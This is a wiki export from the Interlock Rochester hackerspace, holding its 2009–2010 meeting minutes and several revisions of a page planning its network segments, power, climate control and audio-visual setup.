** Open Announcements
* Minutes
1/19
*introductions, alan, deejoe, carl, brian, steve, nick, josh, alex, ben, bill, ashley, mark, jon, chris, remy

carl outreach summary:
** join first friday
** video commercial
** running robots
** barcamp in april
** lightning talks at barcamp
** fosscon - june - remyd is an organizer
** linux workshop outreach went well - 12 people came - next one in February
** maybe talk to Lugor about doing hands on workshop after a lugor discussion
** writing workshop to teach anyone how to write
** ashley: keep writing focused
* lightning talks again
*alan: want to also give back to the community like linux workshop
* alan:bylaws and membership agreement
*alan, ashley, mark, brian and others met to go over bylaws and mission statement
* changes are on the wiki
*ashley: maybe do a mock mibs walkthrough
*alan: share the google doc to everyone
* alan got the EIN
* thursday mark, brian, ashley, alan, will be going to the bank
*question: josh: how open are finances
*answer: everyone: as open as you want to be. meetings will have
*ben: if anyone has suggestions for the space design, make them known now
*steve: internet connection
** the acct rep received fax
** she's going to let us know install date
*alan: programming for beginners class
** work with python group in Rochester
*brian: beginning electronics
** make magazine has beginner electronics book
** good for doing a class or group
* dude: we can get cheap stuff from radio shack and the internet has parts
*joe: bulk silly putty reminder
*steve: bulk coffee/tea maker
*chris: organizational membership to amazon
** you can pull out technical books
** view them online but access to TONS of books
** not sure on the costs
*Brian: Pledgie
** people can join and pledge their amount
** when it gets the amount it does whatever they've been planning (silly putty)
** another space used it successfully

== January 12, 2010 ==
* Attended: Carl, Avezou, Mora, Steve, Brian, Chris, Rowan, Andre, Sneha, Remy, Shawn, Carmen, Josh, Gina, Jimmy, Christina, Alvaro, Rachel, Brian, Ashlee, Ben, Mark, Ryan, Justin, Nick, Alan, Alex
* Agenda
** Introductions
** Last Week Meeting Review
** Organization Updates
** Voting:
*** IRC
** Project Updates
** Open Announcements
** EVENT: [http://www.meetup.com/Rochester-Hackerspace/calendar/12121705/ Lightning Talks]

== January 5, 2010 ==
* Attended: Ryan, Dawn, Carl, Steve, Josh, Alvaro, Alan, Bryan, Joe, Andrei, John, Ashley, Justin, Rowan
* Agenda
** Introductions
** Updates
*** Recap of SCORE meeting (Alan)
** Anything else?
* Discussed
** SCORE
*** With lawyer, 501(3)c process 6mo - year, $1000 - $1500
*** Importance of mission statement
** Separation of concerns: member agreement vs. bylaws
*** agreement is for limiting liability and other bare minimums
*** bylaws part culture, part rules
*** bylaws are really only about starting and stopping processes
*** we need a solid mission statement to define ourselves and guide decisions/priorities
** Outreach, community service, donation possibilities
*** "Linux Q & A" days

== December 22, 2009 ==
* Agenda
** NONE: relaxing discussion

== December 15, 2009 ==

* Attended: Brian, Jim, Nick, Avezou, Carl, Sneha, Steve, Ben, Ashley, Carmen, Joe, Bryan, Paul, Tim, Alvaro, JP, Joshua,
* Agenda
** Introductions
** Updates/Announcements
** ISP Options: Steve S.
** Intro to Wordpress (brief): Ben W.
** Projects
** Discuss next weeks Lightning Talks
** Holiday events, potlucks, parties, hoedowns?
** Best time to meet in the future
* Discussed:
** Introductions, met a few new prospects
** Ben's Wordpress intro presentation
** Discussion of our use of Wordpress and how we want to handle posting
** Steve's ISP presentation
** Wooby talks lightning, and projects
** Deejoe gives a passionate lightning talk about plastic bag storage

== December 8, 2009 ==
* Attended: Mark, Brian, Steve, Dan, Andrei, Joe, Carl, Carmen, Sneha, Matt, Ben, Bryan, Josh [...]
* Agenda:
**7: Introductions and updates, go over [http://wiki.interlockroc.org/index.php?title=MIBS_Simplified_Rules_of_Coordinated_Consensus_through_Chaos MIBS meeting rules]
**7:30: Hackerspace Presentation: Mark
**8: Move to new space
* Discussed:
** Introductions
** Officers announced. Mostly people on the lease or incorporation paperwork.
** Mark presented a bit on MIBS rules
** [http://docs.google.com/present/view?id=dnbv9rr_42ft4q8vff Hackerspace presentation]
** Sneha discusses public outreach activities
* Caravan to the temp space for discussion and beverages

== December 1, 2009 ==
* Attended: Carl, Ben, Jimmi, Kristina, Steve, Ashley, Andrei,
* Discussed:
** Bylaws went over a lot of the details.
** Bylaws: Decided to have an official meeting once a month unless otherwise requested
** Discussed dues
** updated everyone on lease signing status
** Ashley updated us on documents for incorporation
** Voted on whether or not to get the temp space or skip it and wait for the real space. Agreed to get the temp
** Introduced new members discussed goals of the organization
* Action Items:
** Directors: Sign lease and setup temp space

== November 23, 2009 ==

* Attended
** Mark, Brian, Ashley, Alan, Sneha, Carmen, Carl, Bryan, Ben, Jeremy, Rich
* Video: [http://www.ustream.tv/recorded/2628387 Part 1]
* Discussed
** Basement space at 1115 Main Street
*** $390 + electricity
*** Ready by February
** Temporary space available immediately
*** $280 + electricity
** Network connectivity options
*** Business class roadrunner $79 a month
*** Netsville
** Dues
*** Start payment 1st of December
*** Application form
** Business checking accounts and accounting
** First Month's rent
** Logos
** Wiki/Website stuff
*** maybe looking for a wiki with better ACLs
*** decision to departmentalize functions - wiki, website, blog, etc
** Dues through paypal for first month
** Bryan shows his illuminated bidness card
** Discussion about who will be the incorporators
** Presentation ideas for future meetings
***Python intro class
***Wordpress tutorial
***Software Defined Radio
**Ham radio discussion
** Future meetings may have first 1/2 hour as business-related matters, come afterwards if you're not interested in the nitty gritty of forming the space
* Actions
** Mark: Setup paypal account and email address
** Mark: Put together a membership package
** Alan: Put membership form online
** Goal: Have membership dues on December 1st
** Goal: Sign lease on Monday November 30th

== November 17, 2009 ==
* Attended: Mark, Sneha, Carmen, Ashley, Alan, Jimmi, Krystina, James, Justin, Robert, Joe, Ben, JP, Brian, (David)
* Recordings - [http://www.ustream.tv/recorded/2580888 Part 1]- [http://www.ustream.tv/recorded/2581335 Part 2]
* 1st meeting streamed online (ustream)
* Decided on Interlock as a group name.
** interlocroc.net, .com and .org domains have been acquired
* Discussion about three potential locations
** Griffith Ave
*** 3000/$1500 a month
*** No security deposit
*** Utilities = $200 a month
*** A bit too pricey
** E Main St
*** 1000/$450
*** 2000/$725
*** Utilities = $150 a month
** Village Gate
*** 500/$325
*** Utilities = $60 a month
* Talking about the budget
** Would prefer it to be about $35, but it will probably be higher at first until we get more members
** Looking at 501.c3
** Contacts in Buffalo chapter could be useful with this business setup
** Dues
*** $50 - Normal
*** $35 - Student
* Trip to Buffalo Chapter
** Visit to see what they have there
** After thanksgiving, on the weekend
*** Important for sponsorships

Action Items For Next week:
* Form a holding company (LLC, S-Corp) to get a bank account
* Focus on making the Main St. building work (talk to Felix, discuss details, find temp location)
* Plan for best way to form an NFP
* Create a focus group for developing a website

==November 11, 2009==
*Location: Spot Coffee
*Attended:
**Mark, Brian B., PT, Sneha, Dan, Carl, Andrei, Bryan, Josh, Ashley, Alan, Carmen
*Discussed:
**Summary of goals thus far, for new attendees.
**Updates from members about spaces scouted, etc.
***Sneha: 1000 square feet, 600 a month, Portland Ave., with storefront
***Look into spaces near the Public Market? High rent for RR55 ($900)
****Other spaces besides the refurbed railroad area? Space above cheese shop area?
**Introductions
**Show and Tell
***Bryan
****guitar hacks
*****tuning geegaws
*****patents
***Andrei
****[http://www.makershed.com/ProductDetails.asp?ProductCode=MSBM brain machine kit]
****circuit bent toy horn
***Mark
****lockpicking sets
****garmin gps units, wardriving discussion
*****obligatory [http://www.imdb.com/title/tt0086567/ Wargames] shoutout
****defcon badges
****bump key discussion
***Brian B.
****bookbinding
****sketchbooks
****[http://www.ponoko.com/ Ponoko] business cards
****[http://www.ponoko.com/ Makerbot] contact: sample print will be mailed out this weekend, hackerspace discount is available
****laser cutting, found [http://www.classact.net/ Class Act Engraving] in Akron, NY. Epilog laser reseller
***Carmen
****suitcase computer
**Random discussion
***Kegerator w/ Nagios monitoring

*Actions
**None specified

== November 6, 2009 ==
* Location: Spot Coffee
* Attended:
** Mark, Carmen, Sneha, Ben, Brian B, Stephen, Bryan S, Andrei, Tom, Josh, David, Karl
* Discussed:
** announcements from last week - flyers, wiki
** attendees' backgrounds and vision for the space
** rough plan of action re: naming, incorporation, non-profit filing
** future meeting ideas, including demos and presentations
** (EDIT)
* Actions:
** contribute to the wiki
** think of names
** (EDIT)

== October 28, 2009 ==
* Location: Spot Coffee
* Attended: Mark, Jeff, Carmen, Brian, Alan, Eric, Joe, Andrei, Bryan, Greg,
* Discussed:
** ideas
** made flyers
** other spaces
** meet and greet
* Actions:
** Mark: setup a wiki
** Mark: print out flyers

== October 21, 2009 ==
* Location: Spot Coffee
* Attended:
** Jerel, Matt, Mark, Jeff, Greg, Jimmi, Krystina
* Discussed:
** meet and greet
** buffalo hackerspace
* Actions:

Infrastructure

2010-08-18T07:27:01Z

Ben Woodruff: /* Network */

=Interlock Rochester Infrastructure=

{| class="wikitable" border="1"
|-
! Sub-group !! Lead !! Members
|-
| Power || JustBill
|-
| Environment ||
|-
| [[Hackerspace_Security_System|Security]] || [[User:Antitree|Mark Manning]]
|-
| Inter-hackerspace Communication || [[User:Antitree|Mark Manning]] || [[User:Ben Woodruff|Ben Woodruff]]
|-
| [[Network Infrastructure Group|Network]] || [[User:Ben Woodruff|Ben Woodruff]] || [[User:fvox13|Steve Smith]], [[User:IGadget|Rowan Hawkins]]
|-
|}

Please feel free to claim ownership of any empty spots above, or add yourself to the members list.
We need a decision on power needs sooner rather than later.

''' NOTE''': This page contains information with regard to network/server setup for the final space, not the temporary one. For the temp space, power distribution can be done with extension cords, while network access will be ad-hoc in nature.

=Power=
Overhead cord reels are a solution, but they must not remain plugged in at their source when not in use in order to comply with fire code. Cable trays are not a good solution for power. (They are a pain in the ass.)

=Environmental=
The space will need to have environmental controls in the event that servers will be kept in location. The general operating temperature of servers and network equipment should be around 75F. In order to ensure this, the purchase of an AC system may be necessary depending on what projects we approve.

'''Things we may need to acquire:'''
*<s>Heater</s> <-- Heat is included
*Air Conditioner
*Dehumidifier
*<s>Thermostat/Thermometer</s> <-- Usually bundled with AC

==Recycling==
We don't want to horde a bunch of stuff that will never get used, but things that are likely to get recycled (especially scraps of raw materials) we should hold on to. This not only potentially benefits the environment, it's in our best interest from a costs perspective as well.

=Network=

<s>See [[Phase 0 Networking]]</s>

See [[networking wish list]]

The network infrastructure group will create and maintain the [[network acceptable use policy]]. The policy will be approved by the board of directors and then signed by every member who wants access to any of the following networks.

In order to meet the demands of the group over time, the network will be segregated into 3 main segments:
(in order of priority for setup)
* Production [http://www.interlockroc.org/wiki/index.php?title=Infrastructure#Production >]
* Project [http://www.interlockroc.org/wiki/index.php?title=Infrastructure#Project_.2F_Project >]
* Warzone [http://www.interlockroc.org/wiki/index.php?title=Infrastructure#Warzone >]

Each main segment will have an associated color code for its jacks (as is seen above), both on the walls, as well as near the network equipment. Category 6 cabling would be preferred for the environment. Each wall plate should be 6 feet apart, and should contain at least 1 of each colored jacks. Every jack should have 2 drops associated with it.

== Subnets ==
{| class="wikitable" border="1"
|-
! if !! VLAN !! Network/Mask !! Name !! Description
|-
| || || '''10.10.0.0/22''' || '''Production''' || '''Supernet slice for all production networks''' (not actually routed)
|-
| OPT100 || 100 || 10.10.0.0/24 || Core || Core Equipment management (routers, [[Network Switch Configuration|switches]], etc)
|-
| OPT101 || 101 || 10.10.1.0/24 || Servers || Servers (LDAP, SSH, file, etc - assuming not provided by router)
|-
| OPT102 || 102 || 10.10.2.0/25 || Wired Hosts || Shared workstations / ... wired hosts?
|-
| OPT103 || 103 || 10.10.3.0/24 || Wireless Hosts || Registered member laptops (currently members do not have to register their laptops)
|-
| OPT104 || 104 || 10.10.4.0/24 || Wireless Guests || Event participants, class registrants, etc - has captive portal enforced by the Meraki WAP
|-
| OpenVPN || 105 || 10.10.5.0/24 || Production VPN clients || Network administration & remote access
|-
| OPT200 || 200 || '''10.200.0.0/16''' || '''Project / Test''' || '''Network specific for individual projects. Should be sliced further to /24 subnets as needed'''
|-
| OPT1000 || 1000 || '''192.168.1.0/24''' || '''Warzone''' || '''A place where invasive network attacks ''will'' occur. May also have VPN links to other hackerspaces (both in the US and abroad).''' Currently routed through it's own router, which is the 192.168.1.x network. If we eventually run through the pfSense box the IP scheme will be in the 10.100.42.x range
|}

See [[Network Switch Configuration]] for more details.

Last updated: --[[User:Ben Woodruff|-- BW]] 07:03, 18 August 2010 (UTC)

== Internet ==

We have decided on Frontier Business DSL for our internet connection. The contract has been signed and services are in place.

==Production==
The production network will be the main segment and will provide network access to Interlock's members. This network will be subdivided into 5 separate subnets, to help manage IP growth, and secure vital systems. The production network will not be used to perform penetration testing or other white hat hacking (port scans, IP sweeps, DoS, etc). The production network must have reliable uptime, as that other members will be dependent on it.

=== Change Control ===
The infrastructure group will need to determine a method to log changes to the network. A consensus must be reached within the group before any change can be done on the production network. Change management will ''loosely'' follow [http://en.wikipedia.org/wiki/Change_Management_%28ITSM%29 ITIL Recommendations].

== Planning ==
(not necessarily implemented)

=== Access ===
Access to core network equipment and topology will be restricted to those in the infrastructure group.

=== Services ===
* RADIUS/LDAP Server
** Central Authentication repository
** Should be linked with Google Apps

* Web Server
** Host the wiki, website, etc

* CoLo Boxes
** Not intended to host production/high bandwidth websites
** Used for offsite backup

* DHCP Server
** IP addresses will only be given out to know and trusted network adapters.
** A device registration system, like RIT's start.rit.edu, would be useful

* DNS Server

* File Server
** Access via SFTP, SMB, or WebDAV possibly

* VPN Server
** Provide VPN access to the network. This needs to be decided as to whether this will be implemented, and the scope of the build.

* Streaming Music Server
** Use a AirPort Extreme AP to play music via AirTunes

* Image Server
** RIS or Ghost

==Project==
** Each project should claim an address space (ie 172.25.15.y) so we can tell what traffic is coming from which projects
* Temporary, dynamic, but more static and stable than the warzone
* Change management much more loose than production network but there should be some expectation of reliability so please at least check with someone unless you're very sure of what you're doing
* Access to the internet
* Area to play with an test new technologies (for example, play with VOIP/SIP)

==[[Warzone]]==
* No expectation of reliability
* Relatively open access to equipment / no change management
* No expectation of structure, very dynamic depending on project use etc, may use different IP address schemes
* Expect to have equipment probed / pen tested
* ChaosVPN endpoint/node (link to other hackerspaces)
* "Rogue" access points allowed (maybe include DHCP message that states you'd better be sure you want to connect to this network - want to be friendly with our neighbors)

=Audio-Visual System=

'''Audio'''
*[http://www.bhphotovideo.com/c/product/541197-REG/Bogen_Communications_S810T725PG8W_Ceiling_Speaker_Assembly_with.html Public Address] system array across the ceiling
*Two speakers rigged to the top corners of the room
*Surround sound rigged to the top of the room (low priority)
*Inputs to an audio mixer/home receiver
*Sources: Microphone, CD/DVD, computers

'''Video'''
*Ceiling mounted projection
*Screen
*Sources: DVD, computers

Networking wish list

2010-08-18T07:25:47Z

Ben Woodruff: Created page with '= Brain dump = * Battery backup that isn't on loan (multiple would be good) --~~~~ * Setup an OpenVPN server on the pfSense box to tunnel you into the 10.10.0.x subnet/vlan. Set…'

= Brain dump =

* Battery backup that isn't on loan (multiple would be good) --[[User:Ben Woodruff|-- BW]] 07:25, 18 August 2010 (UTC)
* Setup an OpenVPN server on the pfSense box to tunnel you into the 10.10.0.x subnet/vlan. Setup a firewall rule to only allow access to the 10.10.0.x subnet/vlan from this VPN connection. --[[User:Ben Woodruff|-- BW]] 07:25, 18 August 2010 (UTC)
* Finish labeling everything (physically) --[[User:Ben Woodruff|-- BW]] 07:25, 18 August 2010 (UTC)
* Setup CARP (must rebuild old pfSense box first) --[[User:Ben Woodruff|-- BW]] 07:25, 18 August 2010 (UTC)
* Find replacement pfSense box (hardware) --[[User:Ben Woodruff|-- BW]] 07:25, 18 August 2010 (UTC)
* Find replacement WAN switch (3524 is old and has old IOS) - at least update to latest IOS, I have newer image --[[User:Ben Woodruff|-- BW]] 07:25, 18 August 2010 (UTC)
* Setup management VLAN for ESXi servers so they can be centrally managed --[[User:Ben Woodruff|-- BW]] 07:25, 18 August 2010 (UTC)
* VMware vSphere / vMotion / HA --[[User:Ben Woodruff|-- BW]] 07:25, 18 August 2010 (UTC)
* ESX host for project network --[[User:Ben Woodruff|-- BW]] 07:25, 18 August 2010 (UTC)

Infrastructure

2010-08-18T07:20:59Z

Ben Woodruff: /* Network */

=Interlock Rochester Infrastructure=

{| class="wikitable" border="1"
|-
! Sub-group !! Lead !! Members
|-
| Power || JustBill
|-
| Environment ||
|-
| [[Hackerspace_Security_System|Security]] || [[User:Antitree|Mark Manning]]
|-
| Inter-hackerspace Communication || [[User:Antitree|Mark Manning]] || [[User:Ben Woodruff|Ben Woodruff]]
|-
| [[Network Infrastructure Group|Network]] || [[User:Ben Woodruff|Ben Woodruff]] || [[User:fvox13|Steve Smith]], [[User:IGadget|Rowan Hawkins]]
|-
|}

Please feel free to claim ownership of any empty spots above, or add yourself to the members list.
We need a decision on power needs sooner rather than later.

''' NOTE''': This page contains information with regard to network/server setup for the final space, not the temporary one. For the temp space, power distribution can be done with extension cords, while network access will be ad-hoc in nature.

=Power=
Overhead cord reels are a solution, but they must not remain plugged in at their source when not in use in order to comply with fire code. Cable trays are not a good solution for power. (They are a pain in the ass.)

=Environmental=
The space will need to have environmental controls in the event that servers will be kept in location. The general operating temperature of servers and network equipment should be around 75F. In order to ensure this, the purchase of an AC system may be necessary depending on what projects we approve.

'''Things we may need to acquire:'''
*<s>Heater</s> <-- Heat is included
*Air Conditioner
*Dehumidifier
*<s>Thermostat/Thermometer</s> <-- Usually bundled with AC

==Recycling==
We don't want to horde a bunch of stuff that will never get used, but things that are likely to get recycled (especially scraps of raw materials) we should hold on to. This not only potentially benefits the environment, it's in our best interest from a costs perspective as well.

=Network=

[s]See [[Phase 0 Networking]][/s]
See [[networking wish list]]

[[image:Interlock_logical.jpg|thumb|See [[file:interlock_logical.vsd]]]]

The network infrastructure group will create and maintain the [[network acceptable use policy]]. The policy will be approved by the board of directors and then signed by every member who wants access to any of the following networks.

In order to meet the demands of the group over time, the network will be segregated into 3 main segments:
(in order of priority for setup)
* Production [http://www.interlockroc.org/wiki/index.php?title=Infrastructure#Production >]
* Project [http://www.interlockroc.org/wiki/index.php?title=Infrastructure#Project_.2F_Project >]
* Warzone [http://www.interlockroc.org/wiki/index.php?title=Infrastructure#Warzone >]

Each main segment will have an associated color code for its jacks (as is seen above), both on the walls, as well as near the network equipment. Category 6 cabling would be preferred for the environment. Each wall plate should be 6 feet apart, and should contain at least 1 of each colored jacks. Every jack should have 2 drops associated with it.

== Subnets ==
{| class="wikitable" border="1"
|-
! if !! VLAN !! Network/Mask !! Name !! Description
|-
| || || '''10.10.0.0/22''' || '''Production''' || '''Supernet slice for all production networks''' (not actually routed)
|-
| OPT100 || 100 || 10.10.0.0/24 || Core || Core Equipment management (routers, [[Network Switch Configuration|switches]], etc)
|-
| OPT101 || 101 || 10.10.1.0/24 || Servers || Servers (LDAP, SSH, file, etc - assuming not provided by router)
|-
| OPT102 || 102 || 10.10.2.0/25 || Wired Hosts || Shared workstations / ... wired hosts?
|-
| OPT103 || 103 || 10.10.3.0/24 || Wireless Hosts || Registered member laptops (currently members do not have to register their laptops)
|-
| OPT104 || 104 || 10.10.4.0/24 || Wireless Guests || Event participants, class registrants, etc - has captive portal enforced by the Meraki WAP
|-
| OpenVPN || 105 || 10.10.5.0/24 || Production VPN clients || Network administration & remote access
|-
| OPT200 || 200 || '''10.200.0.0/16''' || '''Project / Test''' || '''Network specific for individual projects. Should be sliced further to /24 subnets as needed'''
|-
| OPT1000 || 1000 || '''192.168.1.0/24''' || '''Warzone''' || '''A place where invasive network attacks ''will'' occur. May also have VPN links to other hackerspaces (both in the US and abroad).''' Currently routed through it's own router, which is the 192.168.1.x network. If we eventually run through the pfSense box the IP scheme will be in the 10.100.42.x range
|}

See [[Network Switch Configuration]] for more details.

Last updated: --[[User:Ben Woodruff|-- BW]] 07:03, 18 August 2010 (UTC)

== Internet ==

We have decided on Frontier Business DSL for our internet connection. The contract has been signed and services are in place.

==Production==
The production network will be the main segment and will provide network access to Interlock's members. This network will be subdivided into 5 separate subnets, to help manage IP growth, and secure vital systems. The production network will not be used to perform penetration testing or other white hat hacking (port scans, IP sweeps, DoS, etc). The production network must have reliable uptime, as that other members will be dependent on it.

=== Change Control ===
The infrastructure group will need to determine a method to log changes to the network. A consensus must be reached within the group before any change can be done on the production network. Change management will ''loosely'' follow [http://en.wikipedia.org/wiki/Change_Management_%28ITSM%29 ITIL Recommendations].

== Planning ==
(not necessarily implemented)

=== Access ===
Access to core network equipment and topology will be restricted to those in the infrastructure group.

=== Services ===
* RADIUS/LDAP Server
** Central Authentication repository
** Should be linked with Google Apps

* Web Server
** Host the wiki, website, etc

* CoLo Boxes
** Not intended to host production/high bandwidth websites
** Used for offsite backup

* DHCP Server
** IP addresses will only be given out to know and trusted network adapters.
** A device registration system, like RIT's start.rit.edu, would be useful

* DNS Server

* File Server
** Access via SFTP, SMB, or WebDAV possibly

* VPN Server
** Provide VPN access to the network. This needs to be decided as to whether this will be implemented, and the scope of the build.

* Streaming Music Server
** Use a AirPort Extreme AP to play music via AirTunes

* Image Server
** RIS or Ghost

==Project==
** Each project should claim an address space (ie 172.25.15.y) so we can tell what traffic is coming from which projects
* Temporary, dynamic, but more static and stable than the warzone
* Change management much more loose than production network but there should be some expectation of reliability so please at least check with someone unless you're very sure of what you're doing
* Access to the internet
* Area to play with an test new technologies (for example, play with VOIP/SIP)

==[[Warzone]]==
* No expectation of reliability
* Relatively open access to equipment / no change management
* No expectation of structure, very dynamic depending on project use etc, may use different IP address schemes
* Expect to have equipment probed / pen tested
* ChaosVPN endpoint/node (link to other hackerspaces)
* "Rogue" access points allowed (maybe include DHCP message that states you'd better be sure you want to connect to this network - want to be friendly with our neighbors)

=Audio-Visual System=

'''Audio'''
*[http://www.bhphotovideo.com/c/product/541197-REG/Bogen_Communications_S810T725PG8W_Ceiling_Speaker_Assembly_with.html Public Address] system array across the ceiling
*Two speakers rigged to the top corners of the room
*Surround sound rigged to the top of the room (low priority)
*Inputs to an audio mixer/home receiver
*Sources: Microphone, CD/DVD, computers

'''Video'''
*Ceiling mounted projection
*Screen
*Sources: DVD, computers

Main Page

2010-08-18T07:10:54Z

Ben Woodruff: /* Important Pages */

[[image:interlockroc_logo.jpg|center]]

=Interlock Rochester Wiki=

{| style="background:#F0F0F0;border:solid 2px;"
|
This is the wiki for Interlock, a multidisciplinary workshop and hackerspace in Rochester, NY. For more information, visit our main site at http://www.interlockroc.org/

* IRC: irc://irc.freenode.org/#interlock
* Google Group: http://groups.google.com/group/interlock-rochester
* Phone Number: 585 210 8HAK (8425)
* Email: [mailto:info@interlockroc.org info@interlockroc.org]
|}

==Important Pages==
* [[Contribute to Interlock]] - For members and non-members
* [[Community Outreach]]

* [[projects]] - current projects we are working on
**[[parts fund]] - parts for everyone's use
**[[Adafruit order]] - discount group order wishlist
** [[warzone]] - network for information security research
** [[amateur radio]] - antenna building, repeater discussion, club station, etc
** [[Infrastructure#Network|networking]] - building an awesome network for the space
* [[organization]] - business side of the group
** [[documents]] - membership application, etc
** [[bylaws]] - rules to how business is conducted
** [[:category:procedures | procedures]]
** [[:category:policies | policies]]
* [[spaces]] - a place to talk to about the space
** getting to us
*** [[get there]] members
*** [[get there (guest)]]
** [[build out]] - adding to the space permanently
** [[infrastructure]] - outfitting the space
** [[resources]]
*** [[resources we need or want ]]
*** [[resources we have / donations]]
*** [[books]]

* [[meetings]] - meeting minutes and presentations
* [[promotion]] - promoting the cause
* [[Special:ListUsers | registered wiki users]] - meet friends and members

===Learn About Hackerspaces===
* http://hackerspaces.org/wiki/Design_Patterns
* http://hackerspaces.org/
* irc://irc.freenode.net/#hackerspaces
* http://hackerspaces.org/wiki/Documentation
* http://earth.hackerspaces.org/

Infrastructure

2010-08-18T07:03:21Z

Ben Woodruff: /* Subnets */

=Interlock Rochester Infrastructure=

{| class="wikitable" border="1"
|-
! Sub-group !! Lead !! Members
|-
| Power || JustBill
|-
| Environment ||
|-
| [[Hackerspace_Security_System|Security]] || [[User:Antitree|Mark Manning]]
|-
| Inter-hackerspace Communication || [[User:Antitree|Mark Manning]] || [[User:Ben Woodruff|Ben Woodruff]]
|-
| [[Network Infrastructure Group|Network]] || [[User:Ben Woodruff|Ben Woodruff]] || [[User:fvox13|Steve Smith]], [[User:IGadget|Rowan Hawkins]]
|-
|}

Please feel free to claim ownership of any empty spots above, or add yourself to the members list.
We need a decision on power needs sooner rather than later.

''' NOTE''': This page contains information with regard to network/server setup for the final space, not the temporary one. For the temp space, power distribution can be done with extension cords, while network access will be ad-hoc in nature.

=Power=
Overhead cord reels are a solution, but they must not remain plugged in at their source when not in use in order to comply with fire code. Cable trays are not a good solution for power. (They are a pain in the ass.)

=Environmental=
The space will need to have environmental controls in the event that servers will be kept in location. The general operating temperature of servers and network equipment should be around 75F. In order to ensure this, the purchase of an AC system may be necessary depending on what projects we approve.

'''Things we may need to acquire:'''
*<s>Heater</s> <-- Heat is included
*Air Conditioner
*Dehumidifier
*<s>Thermostat/Thermometer</s> <-- Usually bundled with AC

==Recycling==
We don't want to horde a bunch of stuff that will never get used, but things that are likely to get recycled (especially scraps of raw materials) we should hold on to. This not only potentially benefits the environment, it's in our best interest from a costs perspective as well.

=Network=

See [[Phase 0 Networking]]

[[image:Interlock_logical.jpg|thumb|See [[file:interlock_logical.vsd]]]]

The network infrastructure group will create and maintain the [[network acceptable use policy]]. The policy will be approved by the board of directors and then signed by every member who wants access to any of the following networks.

In order to meet the demands of the group over time, the network will be segregated into 3 main segments:
(in order of priority for setup)
* Production [http://www.interlockroc.org/wiki/index.php?title=Infrastructure#Production >]
* Project [http://www.interlockroc.org/wiki/index.php?title=Infrastructure#Project_.2F_Project >]
* Warzone [http://www.interlockroc.org/wiki/index.php?title=Infrastructure#Warzone >]

Each main segment will have an associated color code for its jacks (as is seen above), both on the walls, as well as near the network equipment. Category 6 cabling would be preferred for the environment. Each wall plate should be 6 feet apart, and should contain at least 1 of each colored jacks. Every jack should have 2 drops associated with it.

== Subnets ==
{| class="wikitable" border="1"
|-
! if !! VLAN !! Network/Mask !! Name !! Description
|-
| || || '''10.10.0.0/22''' || '''Production''' || '''Supernet slice for all production networks''' (not actually routed)
|-
| OPT100 || 100 || 10.10.0.0/24 || Core || Core Equipment management (routers, [[Network Switch Configuration|switches]], etc)
|-
| OPT101 || 101 || 10.10.1.0/24 || Servers || Servers (LDAP, SSH, file, etc - assuming not provided by router)
|-
| OPT102 || 102 || 10.10.2.0/25 || Wired Hosts || Shared workstations / ... wired hosts?
|-
| OPT103 || 103 || 10.10.3.0/24 || Wireless Hosts || Registered member laptops (currently members do not have to register their laptops)
|-
| OPT104 || 104 || 10.10.4.0/24 || Wireless Guests || Event participants, class registrants, etc - has captive portal enforced by the Meraki WAP
|-
| OpenVPN || 105 || 10.10.5.0/24 || Production VPN clients || Network administration & remote access
|-
| OPT200 || 200 || '''10.200.0.0/16''' || '''Project / Test''' || '''Network specific for individual projects. Should be sliced further to /24 subnets as needed'''
|-
| OPT1000 || 1000 || '''192.168.1.0/24''' || '''Warzone''' || '''A place where invasive network attacks ''will'' occur. May also have VPN links to other hackerspaces (both in the US and abroad).''' Currently routed through it's own router, which is the 192.168.1.x network. If we eventually run through the pfSense box the IP scheme will be in the 10.100.42.x range
|}

See [[Network Switch Configuration]] for more details.

Last updated: --[[User:Ben Woodruff|-- BW]] 07:03, 18 August 2010 (UTC)

== Internet ==

We have decided on Frontier Business DSL for our internet connection. The contract has been signed and services are in place.

==Production==
The production network will be the main segment and will provide network access to Interlock's members. This network will be subdivided into 5 separate subnets, to help manage IP growth, and secure vital systems. The production network will not be used to perform penetration testing or other white hat hacking (port scans, IP sweeps, DoS, etc). The production network must have reliable uptime, as that other members will be dependent on it.

=== Change Control ===
The infrastructure group will need to determine a method to log changes to the network. A consensus must be reached within the group before any change can be done on the production network. Change management will ''loosely'' follow [http://en.wikipedia.org/wiki/Change_Management_%28ITSM%29 ITIL Recommendations].

== Planning ==
(not necessarily implemented)

=== Access ===
Access to core network equipment and topology will be restricted to those in the infrastructure group.

=== Services ===
* RADIUS/LDAP Server
** Central Authentication repository
** Should be linked with Google Apps

* Web Server
** Host the wiki, website, etc

* CoLo Boxes
** Not intended to host production/high bandwidth websites
** Used for offsite backup

* DHCP Server
** IP addresses will only be given out to know and trusted network adapters.
** A device registration system, like RIT's start.rit.edu, would be useful

* DNS Server

* File Server
** Access via SFTP, SMB, or WebDAV possibly

* VPN Server
** Provide VPN access to the network. This needs to be decided as to whether this will be implemented, and the scope of the build.

* Streaming Music Server
** Use a AirPort Extreme AP to play music via AirTunes

* Image Server
** RIS or Ghost

==Project==
** Each project should claim an address space (ie 172.25.15.y) so we can tell what traffic is coming from which projects
* Temporary, dynamic, but more static and stable than the warzone
* Change management much more loose than production network but there should be some expectation of reliability so please at least check with someone unless you're very sure of what you're doing
* Access to the internet
* Area to play with an test new technologies (for example, play with VOIP/SIP)

==[[Warzone]]==
* No expectation of reliability
* Relatively open access to equipment / no change management
* No expectation of structure, very dynamic depending on project use etc, may use different IP address schemes
* Expect to have equipment probed / pen tested
* ChaosVPN endpoint/node (link to other hackerspaces)
* "Rogue" access points allowed (maybe include DHCP message that states you'd better be sure you want to connect to this network - want to be friendly with our neighbors)

=Audio-Visual System=

'''Audio'''
*[http://www.bhphotovideo.com/c/product/541197-REG/Bogen_Communications_S810T725PG8W_Ceiling_Speaker_Assembly_with.html Public Address] system array across the ceiling
*Two speakers rigged to the top corners of the room
*Surround sound rigged to the top of the room (low priority)
*Inputs to an audio mixer/home receiver
*Sources: Microphone, CD/DVD, computers

'''Video'''
*Ceiling mounted projection
*Screen
*Sources: DVD, computers

Infrastructure

2010-08-18T02:54:37Z

Ben Woodruff: /* Network */

=Interlock Rochester Infrastructure=

{| class="wikitable" border="1"
|-
! Sub-group !! Lead !! Members
|-
| Power || JustBill
|-
| Environment ||
|-
| [[Hackerspace_Security_System|Security]] || [[User:Antitree|Mark Manning]]
|-
| Inter-hackerspace Communication || [[User:Antitree|Mark Manning]] || [[User:Ben Woodruff|Ben Woodruff]]
|-
